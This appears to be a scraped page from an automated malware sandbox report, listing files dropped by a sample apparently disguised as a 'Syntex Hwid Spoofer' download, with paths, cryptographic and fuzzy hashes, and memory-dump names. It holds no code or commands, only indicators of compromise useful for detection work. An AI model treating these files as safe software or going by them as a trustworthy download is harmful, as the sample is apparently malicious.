SHA512 5ea1ee4a18188149d0509b8c34ce68650e686ff6df2e1908533d2f9566983c335fc367de8e8a586e5562d581b53cd587c93eb59c1c81b6df9b88761cecdb20f0
TLSH
T13921C90693EC871BF0734731AAFA172FA264FD64DF72939A884443282C51554DEA1BB6
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xcpdhbby.cr3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xcpdhbby.cr3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tempcache.exe

Path C:\Users\Admin\AppData\Local\Temp\tempcache.exe
Size 6.6MB
SHA256 edc4460d3dd2fc1fcae6c617c8d2728ce311e8cd47f2d6a37d719b924c2ac868
MD5 dca6afeddc135645ec068160a47c9510
SHA1 54c5c2659e3af3aca44fa046fb366cd32f5ed387
SHA512 e6f16736acba789d0bb00fe7f1e8a123bee7fee8eff03fa5df8fca32cdce3df2593cac0fe226b2ac37d9f69b3812c8652a1fba5dd37220019256034d88e463c2
SSDEEP 98304:Fa7im/aOxHSGYKOKaPuWn0yMxnTq0dKtxaEe+5HX9iOEtYsJw:Fa7fauH/NOKaP30dlTps28XQD+si
TLSH
T185668D2F611403ECC86DC63984CF2199F56035685338AFEFB2905B211FB6AE46FB9647
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wtq1j4kl.dll

Path C:\Users\Admin\AppData\Local\Temp\wtq1j4kl\wtq1j4kl.dll
Size 3KB
SHA256 f1b677dcbdc41152c87435e3d74aa7ca296a56656654021f98d969d287a4c0d9
MD5 5599e40e4e61457f7771fe229ee30e11
SHA1 008072a5a5be4a6ea32760f0c48ba6fc5b96d205
SHA512 1994b2dda716543d7baa04a2b6ab5f46a420da57b03b1536962e61d75fdb1a7f4e5cffa89dcef626ee9feb344a73e80db7e70e0751edda81a87e8f0767b03a6d
TLSH
T1F3719E07A7E84A6BF8730770AEF347162764F8109B63976E49C042296D51B646E31BA1
MD5 SHA1 SHA512 TLSH

Submit Download

zjuk31u2.dll

Path C:\Users\Admin\AppData\Local\Temp\zjuk31u2\zjuk31u2.dll
Size 3KB
SHA256 bcc435bd58aa2f6b69d2e4795fd8f76157670545069b3ca9d4340b8328afbbd5
MD5 a80f8afe2fa3489c84c74eae3ac5b116
SHA1 676534d39c20637bb2ddecdabad062d3d5e104f5
SHA512 c7f0929f74a07089e4d6dc4a2abf7c7fb42934f86746d55363415163b0b1d8b202300b023e0d10d32f9b61b6b3472647844d3761ccfd83e5e0b2967c581cc170
TLSH
T13571F007E3E84A7BE8730730AAF347522374F8109B63876F49C042696C41B646E31BA1
MD5 SHA1 SHA512 TLSH

Submit Download

Syntex Hwid Spoofer.zip.crdownload

Path C:\Users\Admin\Downloads\Syntex Hwid Spoofer.zip.crdownload
Size 9.3MB
SHA256 4efc0571c7a1e18a2559216d68d0b215f7f3527a9ce70d6caa1e464588ba425a
MD5 408da8946d9c82943219ca11b5efe671
SHA1 c13cab5bcf19a4cae5709f021a092c897c6d5493
SHA512 70c61b3d402dab2c139aa94f779df56353676eeb37c1dabbe84e6e2c893f735f7c64963093dd3c9b2db6933acdde5e62caabdbf0c9ffabe20f4c91ad4f7ccfdb
SSDEEP 196608:ZKOe1HP/ZEZH1JrEbGzs50a3sskbY3T++zYMH1V:ZKBPxYH1BE6u0ac3AzFH1V
TLSH
T18BA633FD234DC9C3FBA54A1F6F19C9E6FB2149409925A529C7CCE2C4B7429DC7CA2188
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCD9160250AE8B497A8AB01078A4EE897.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\wtq1j4kl\CSCD9160250AE8B497A8AB01078A4EE897.TMP
Size 652B
SHA256 d98fffae758b6c0096d6f0f170a51429552d46d9d136a7f80a943920266e7b16
MD5 9b7ac60eff6403f9eecfeb093c38f4f2
SHA1 230058fc4812bd5fdfa9a8e04d9362a5d6c9a9d4
SHA512 2d13aff94fec4519dfc078d37355795d6718536f7699730bfdc4070c838f2ad24cef161c7354bc516465ed360ebb84d8690f7140dbdceca8eb29ea96ee05ea4d
TLSH
T17DF05E0A63F8420EF0F34B70BEF6936791A9BC64DE3293ED5884031D28645208962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

wtq1j4kl.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\wtq1j4kl\wtq1j4kl.cmdline
Size 369B
SHA256 c88a57fc66b25fac999d456ae5e3762d34e639c564c6b7fce4897adc780c4e42
MD5 1e23f9cab4da5f9f67bb5cc99f45eb0e
SHA1 4ba27240364c4c2521f64b0fe7f7af09d9e94570
SHA512 6f9733f56e96349a51cc372f48267fb62b3ff6336d16dc7fde5d5c73ce9482fc9b091873ccc9af753d07664a899d0b8c9dad490db78770b2d7f262152e58deb5
TLSH
T18FE0262A5B56C67D27EE140B226BD5BCC3B20FD72B817FA4A150885EE1270087BD2795
MD5 SHA1 SHA512 TLSH

Submit Download

CSCAB0F0144B140BD896E85A2861D869B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zjuk31u2\CSCAB0F0144B140BD896E85A2861D869B.TMP
Size 652B
SHA256 32e76d8a9e70266635e92465fcec1cdfc3000f4bf7001021c83dde25c6c85039
MD5 d61206f5c3620b53ba270539f60a3006
SHA1 846229b950e661b989558e6d9001e0e7f01ba483
SHA512 7c33725b5abd76d5d99efe8956cce493f1d7106f1be66fb8d4d245e6aa5cd2555674b9cf6de40b8641d134f2adb271cbcf0ec0e18bf9a9c427645127b79b47bf
TLSH
T117F0BE0A63F8020EF0F34B30BEF6836390A9BC62DE3393ED5494031928606149962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

zjuk31u2.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zjuk31u2\zjuk31u2.0.cs
Size 311B
SHA256 9a015aa8f36e6b135e9b423b498a9f7a1ba9c88ca290b986010ce647b644318c
MD5 15f236aace68dcfc8bd412f91e2e5f0b
SHA1 91d1bf483b9a1e027abf6bbd9862e6d813b2101d
SHA512 f48ed528c2eaa49e3f196df14300c6b6f47eebcacc4896fca64403c139dc2753ca6633926ea25793440948de60bc3da0f7c04a540c768a769f602ef618b3ef9b
TLSH
T113E07D4962C1FB70596641511902D1D07F1EE65304871C26B6CD03515F23F38E97C642
MD5 SHA1 SHA512 TLSH

Submit Download

zjuk31u2.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zjuk31u2\zjuk31u2.cmdline
Size 369B
SHA256 e30b172d60122c9859f758fe45238bcd92012d8a4765c1f599154824ae49f79f
MD5 8c5bb7e2f2ec6382895831033dc4d221
SHA1 336d324c3d21099de7e7eca422537256dd511b4e
SHA512 75fa7e049f5be7f1e5651f7a0f96f0d0fc7a468ff1706c64a4c2c6e7c1eb153a6932041127cb33d980f6b0db3fcb29174e16142522f4176aa007773ea451628c
TLSH
T1D4E0202AD7D6CAFD15DF2017326DC5BCD272074729817F885158445DD02700667F1F55
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3556-256-0x000002607B100000-0x000002607B10A000-memory.dmp

Download

memory/3556-250-0x000002607ABC0000-0x000002607ABE2000-memory.dmp

Download

memory/3556-251-0x000002607B1C0000-0x000002607B382000-memory.dmp

Download

memory/3556-254-0x000002607B110000-0x000002607B12E000-memory.dmp

Download

memory/3556-255-0x000002607B390000-0x000002607B442000-memory.dmp

Download

memory/3556-269-0x000002607B140000-0x000002607B148000-memory.dmp

Download

memory/4328-283-0x0000022EBE930000-0x0000022EBEB4C000-memory.dmp

Download

memory/4328-280-0x0000022EA3040000-0x0000022EA36EC000-memory.dmp

Download

memory/4372-296-0x00000187F36A0000-0x00000187F36A8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads